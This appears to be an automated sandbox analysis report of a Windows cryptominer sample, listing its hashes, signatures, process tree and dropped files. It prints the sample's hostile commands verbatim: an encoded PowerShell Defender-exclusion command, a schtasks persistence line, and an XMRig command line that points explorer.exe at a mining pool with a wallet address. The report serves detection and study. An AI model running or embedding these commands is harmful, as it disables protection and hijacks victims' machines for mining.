Analysis
-
max time kernel
73s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 05:20
Static task
static1
General
-
Target
a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe
-
Size
4.8MB
-
MD5
b4aa27a1339c69d99121a4fe4fac94f7
-
SHA1
72cd9ebfd59e9c5a45c22dd5f6aa8d4cb9ba9d26
-
SHA256
a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6
-
SHA512
3550565464695370bdc761327eea1502e523a8b5f5780c6d7942e2be480d40a262897009c6e459110ac0b146ad05f69f9c7d099ad88eaca39975907f95d3e184
Malware Config
Signatures
-
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4336-140-0x00007FF617D90000-0x00007FF61857C000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
Runtime Brokerpid process 3976 Runtime Broker -
Processes:
resource yara_rule behavioral1/memory/4336-135-0x00007FF617D90000-0x00007FF61857C000-memory.dmp upx behavioral1/memory/4336-137-0x00007FF617D90000-0x00007FF61857C000-memory.dmp upx behavioral1/memory/4336-138-0x00007FF617D90000-0x00007FF61857C000-memory.dmp upx behavioral1/memory/4336-139-0x00007FF617D90000-0x00007FF61857C000-memory.dmp upx behavioral1/memory/4336-140-0x00007FF617D90000-0x00007FF61857C000-memory.dmp upx C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker upx C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker upx C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exedescription pid process target process PID 1964 set thread context of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 12 Go-http-client/1.1 -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2572 powershell.exe 2572 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 660 -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2572 powershell.exe Token: SeLockMemoryPrivilege 4336 explorer.exe Token: SeLockMemoryPrivilege 4336 explorer.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
explorer.exepid process 4336 explorer.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.execmd.exedescription pid process target process PID 1964 wrote to memory of 2892 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe cmd.exe PID 1964 wrote to memory of 2892 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe cmd.exe PID 2892 wrote to memory of 2572 2892 cmd.exe powershell.exe PID 2892 wrote to memory of 2572 2892 cmd.exe powershell.exe PID 1964 wrote to memory of 4724 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe schtasks.exe PID 1964 wrote to memory of 4724 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe schtasks.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe PID 1964 wrote to memory of 4336 1964 a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe"C:\Users\Admin\AppData\Local\Temp\a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Runtime Broker" /rl HIGHEST /tr "C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker"2⤵
- Creates scheduled task(s)
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --donate-level 0 --cpu-max-threads-hint 30 -o pool.hashvault.pro:80 -u 42LYsSTjkZR6qxBkYScoFAHVE9MkTeXT2bda7wvc16aZ1MKEqaoKydrb1LWwjGdSvkFbTRzSuFCdg2o37k43warJ6cnhid2.x2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker"C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker"1⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="3⤵
-
C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker"C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime Broker"1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjADgAMABkADYANgA5AGMAYwBlAGYAOQA4ADQAZgA2ADkAOQBjADkAMgA0AGUAYQA4ADgAOABiADcAYQBhAGEAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADQAOABhAGYAOAA1AGMAMgBlAGIANAAzADQAZgBkADQAYgA4ADEAYQBhADMAYwAxAGUANwBkADcAYgBiADQANAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMANwBjAGQAYwBkADcAZgAwAGIAYwAyADQANAA4ADMANABhADYANgBlADkAOQBmADcAMwBlADcAZQA1AGQAMgA5ACMAPgAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjADMAZAAwADgAZABmAGMAYgAzADYAYgAyADQAOQA4ADcAOQBmAGIAZAAwAGEANwBjADEAZABlADgAMgAyADgANAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwA5ADIANgBlADIAYgBhAGQAMQBiAGYAMQA0ADkAMQA2ADkAYwA3AGMAMwAxAGIAZQBkAGUAZgAzADcANgBmADgAIwA+AA=="3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5e243a38635ff9a06c87c2a61a2200656
SHA1ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc
SHA256af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f
SHA5124418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5771f6359fc8b2d2046610c3330174bc4
SHA1215f804044a3be8bde587a8e6d4eb359a540ed1d
SHA2567c33d8031b1f1d48d6e44e757a7cfdd5ae27eab15154b800bb9f0a61bae005d9
SHA5120f197014b0f1b286f310b7145ae7650e06cd0a53c1c73b6a5b22f9552a5f71a39fb7e9e435ba18cd84aeda6c01b7bb8e0ddc22b52b08d554d1756189d1a3409d
-
C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime BrokerFilesize
4.8MB
MD5b4aa27a1339c69d99121a4fe4fac94f7
SHA172cd9ebfd59e9c5a45c22dd5f6aa8d4cb9ba9d26
SHA256a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6
SHA5123550565464695370bdc761327eea1502e523a8b5f5780c6d7942e2be480d40a262897009c6e459110ac0b146ad05f69f9c7d099ad88eaca39975907f95d3e184
-
C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime BrokerFilesize
4.8MB
MD5b4aa27a1339c69d99121a4fe4fac94f7
SHA172cd9ebfd59e9c5a45c22dd5f6aa8d4cb9ba9d26
SHA256a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6
SHA5123550565464695370bdc761327eea1502e523a8b5f5780c6d7942e2be480d40a262897009c6e459110ac0b146ad05f69f9c7d099ad88eaca39975907f95d3e184
-
C:\Users\Admin\AppData\Roaming\Runtime Broker\Runtime BrokerFilesize
4.8MB
MD5b4aa27a1339c69d99121a4fe4fac94f7
SHA172cd9ebfd59e9c5a45c22dd5f6aa8d4cb9ba9d26
SHA256a738f6016086abdd2824b797ec67feee3bc39d52b0b0ae94bd1384c58ed3d5d6
SHA5123550565464695370bdc761327eea1502e523a8b5f5780c6d7942e2be480d40a262897009c6e459110ac0b146ad05f69f9c7d099ad88eaca39975907f95d3e184
-
memory/1224-145-0x0000000000000000-mapping.dmp
-
memory/1848-152-0x0000000000000000-mapping.dmp
-
memory/1960-146-0x0000000000000000-mapping.dmp
-
memory/1960-148-0x00007FFCB0340000-0x00007FFCB0E01000-memory.dmpFilesize
10.8MB
-
memory/2572-133-0x00007FFCB0BC0000-0x00007FFCB1681000-memory.dmpFilesize
10.8MB
-
memory/2572-132-0x0000021C54510000-0x0000021C54532000-memory.dmpFilesize
136KB
-
memory/2572-131-0x0000000000000000-mapping.dmp
-
memory/2892-130-0x0000000000000000-mapping.dmp
-
memory/4116-153-0x0000000000000000-mapping.dmp
-
memory/4116-155-0x00007FFCB0340000-0x00007FFCB0E01000-memory.dmpFilesize
10.8MB
-
memory/4336-136-0x00007FF6185748A0-mapping.dmp
-
memory/4336-142-0x00000000013F0000-0x0000000001430000-memory.dmpFilesize
256KB
-
memory/4336-141-0x0000000000DD0000-0x0000000000DF0000-memory.dmpFilesize
128KB
-
memory/4336-140-0x00007FF617D90000-0x00007FF61857C000-memory.dmpFilesize
7.9MB
-
memory/4336-139-0x00007FF617D90000-0x00007FF61857C000-memory.dmpFilesize
7.9MB
-
memory/4336-151-0x00000000012E0000-0x0000000001300000-memory.dmpFilesize
128KB
-
memory/4336-138-0x00007FF617D90000-0x00007FF61857C000-memory.dmpFilesize
7.9MB
-
memory/4336-137-0x00007FF617D90000-0x00007FF61857C000-memory.dmpFilesize
7.9MB
-
memory/4336-135-0x00007FF617D90000-0x00007FF61857C000-memory.dmpFilesize
7.9MB
-
memory/4724-134-0x0000000000000000-mapping.dmp